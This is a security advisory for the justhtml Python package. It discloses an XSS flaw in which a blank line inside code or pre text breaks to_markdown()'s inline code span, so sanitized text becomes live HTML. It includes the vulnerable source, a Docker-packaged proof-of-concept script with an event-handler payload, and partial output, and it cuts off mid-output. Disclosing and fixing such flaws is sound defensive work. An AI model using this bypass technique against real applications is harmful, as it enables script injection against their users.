GHSA-jf6w-2mvx-633j justhtml: to_markdown() code-span blank-line breakout enables XSS

• PyPI justhtml: >= 0.9.0, < 1.22.0 → fixed in 1.22.0

justhtml: to_markdown() code-span blank-line breakout enables XSS Summary In `justhtml` 0.9.0 through 1.21.0, `to_markdown()` renders `` text (and `` text inside a link) as an inline Markdown code span whose only protection is backtick-fence length. A blank line (`\n\n`) in that text terminates the inline span in any compliant Markdown renderer, so attacker-controlled text that survived HTML sanitization is emitted unescaped after the blank line and is re-parsed as live raw HTML/Markdown — yielding XSS in the default configuration. Likely CWE-79 (Cross-site Scripting) arising from CWE-116 (Improper Encoding/Escaping of Output). Details `to_markdown()` is documented as a safety surface. `docs/text.md` states the guarantee applies "to the HTML produced by rendering that Markdown with a compliant Markdown renderer," and `SECURITY.md` promises `to_markdown()` "escapes line-start Markdown markers that could change block structure" and "uses code fences long enough to contain backticks safely." The inline code-span helper only sizes the backtick fence; it never accounts for block boundaries: `src/justhtml/node.py:32-41` (tag `v1.21.0`): ```python def _markdown_code_span(s: str | None) -> str: if s is None: s = "" # Use a backtick fence longer than any run of backticks inside. fence = _markdown_backtick_fence(s, minimum=1) # CommonMark requires a space if the content starts/ends with backticks. needs_space = s.startswith("`") or s.endswith("`") if needs_space: return f"{fence} {s} {fence}" return f"{fence}{s}{fence}" ``` The element's text is taken verbatim (`strip=False`, so embedded newlines are preserved) and routed into that helper: `src/justhtml/node.py:1061-1078` (tag `v1.21.0`): ```python if tag == "pre": code = current.to_text(separator="", strip=False) if current_in_link: current_builder.raw(_markdown_code_span(code)) # inline path else: fence = _markdown_backtick_fence(code, minimum=3) # block path ... if tag == "code" and not current_preserve: current_builder.raw(_markdown_code_span(current.to_text(separator="", strip=False))) ``` A Markdown inline code span is an inline construct and cannot span a block boundary: a blank line ends the paragraph, the opening backticks are left unmatched (literal), and everything after the blank line is parsed as ordinary Markdown — independent of fence length. Because CommonMark passes raw inline HTML through by default, text such as `` becomes a live element. Reachability with default settings: `JustHTML(html)` sanitizes by default; `` and `` are in `DEFAULT_POLICY.allowed_tags`; default sanitization preserves their text and the blank line (whitespace collapsing is opt-in). The payload lives in text, not a URL attribute, so URL-scheme sanitization never applies. The tokenizer decodes character references in normal text before DOM insertion, so `&lt;img …&gt;` enters the DOM as literal `` text while passing HTML sanitization. Two in-repo asymmetries confirm this is an unguarded path rather than intended behavior: • Plain text-node content is HTML-escaped before Markdown escaping, so the same `&lt;img …&gt;` outside a code span is neutralized to `&lt;img …>`. Inside a code span it is not escaped — the fence is assumed sufficient. • `` outside a link uses a block fence (`minimum=3`, line 1066), which a blank line cannot break. The same `` inside a link (line 1064) and all `` use the inline span, which a blank line breaks. PoC Self-contained, runs entirely in Docker against the pinned PyPI release. Static by default: the rendered HTML is parsed to show a live handler-bearing element materializes; no JavaScript is executed on the default path. `Dockerfile`: ```dockerfile FROM python:3.11-slim WORKDIR /poc RUN pip install --no-cache-dir justhtml==1.21.0 markdown-it-py==4.2.0 \ && (pip install --no-cache-dir dukpy==0.5.0 || echo "dukpy optional: skipped") COPY poc.py test.sh /poc/ CMD ["sh", "/poc/test.sh"] ``` `poc.py`: ```python !/usr/bin/env python3 """PoC: justhtml to_markdown() inline code-span blank-line breakout -> XSS. Audited release: justhtml==1.21.0. Static by default (parses the rendered HTML; no JS executed). --prove-exec is an opt-in, container-only execution check.""" from __future__ import annotations import argparse from html.parser import HTMLParser from justhtml import JustHTML from markdown_it import MarkdownIt MARKER = "__POC_XSS_MARKER__" PAYLOAD_TEXT = f"" RENDER = MarkdownIt("commonmark") # raw-HTML passthrough is the CommonMark default def build_inputs() -> tuple[str, str]: enc = PAYLOAD_TEXT.replace("", "&gt;") control = f"q{enc}" # no blank line -> should stay inert exploit = f"q\n\n{enc}" # + one blank line -> the whole exploit return control, exploit def to_markdown(html: str) -> str: return JustHTML(html, fragment=True).to_markdown() # public API, default sanitize=True class _SinkFinder(HTMLParser): def __init__(self) -> None: super().__init__(); self.sinks: list[tuple[str, str, str]] = [] def handle_starttag(self, tag, attrs): for name, val in attrs: if name.startswith("on") and val and MARKER in val: self.sinks.append((tag, name, val)) def live_sinks(html: str): f = _SinkFinder(); f.feed(html); return f.sinks def show(label: str, html: str): md = to_markdown(html); rendered = RENDER.render(md); sinks = live_sinks(rendered) print(f"== {label} ==") print(f" 1. input HTML : {html!r}") print(f" 2. to_markdown() out : {md!r}") print(f" 3. CommonMark render : {rendered.strip()!r}") print(f" 4. live JS sinks : {sinks if sinks else 'NONE (inert)'}\n") return rendered, sinks def prove_exec(rendered: str) -> None: print("== --prove-exec (supplementary, container-only) ==") sinks = live_sinks(rendered) if not sinks: print(" no sink to execute"); return handler_js = sinks[0][2] print(f" materialized handler JS: {handler_js!r}") try: import dukpy except Exception: print(" [skipped] optional 'dukpy' not installed; parse proof is canonical."); return result = dukpy.evaljs(f"var fired=''; function {MARKER}(){{ fired='XSS-EXECUTED'; }} {handler_js}; fired;") print(f" JS engine result: {result!r} -> attacker JS executed" if result else " JS did not fire") def main() -> int: ap = argparse.ArgumentParser() ap.add_argument("--prove-exec", action="store_true") args = ap.parse_args() control, exploit = build_inputs() print("Delta between control and exploit: exactly one blank line (\\n\\n).\n") _, c_sinks = show("CONTROL (payload in , NO blank line)", control) ex_rendered, e_sinks = show("EXPLOIT (payload in , + blank line)", exploit) ok = (not c_sinks) and bool(e_sinks) print("== VERDICT ==") print(" BYPASS CONFIRMED." if ok else " not reproduced") if ok: print(f" Sanitized code text became a LIVE element: {e_sinks[0]}") print() if ok and args.prove_exec: prove_exec(ex_rendered) return 0 if ok else 1 if __name__ == "__main__": raise SystemExit(main()) ``` Build and run: ```bash docker build -t justhtml-md-poc ./poc docker run --rm justhtml-md-poc ``` Observed output (`justhtml 1.21.0`, `markdown-it-py 4.2.0`): ``` === Versions under test === Name: justhtml Version: 1.21.0 Name: markdown-it-py Version: 4.2.0 Delta between control and exploit: exactly one blank line (\n\n) inserted into otherwise identical text. == CONTROL (payload in , NO blank line) == 1. input HTML : 'q&l…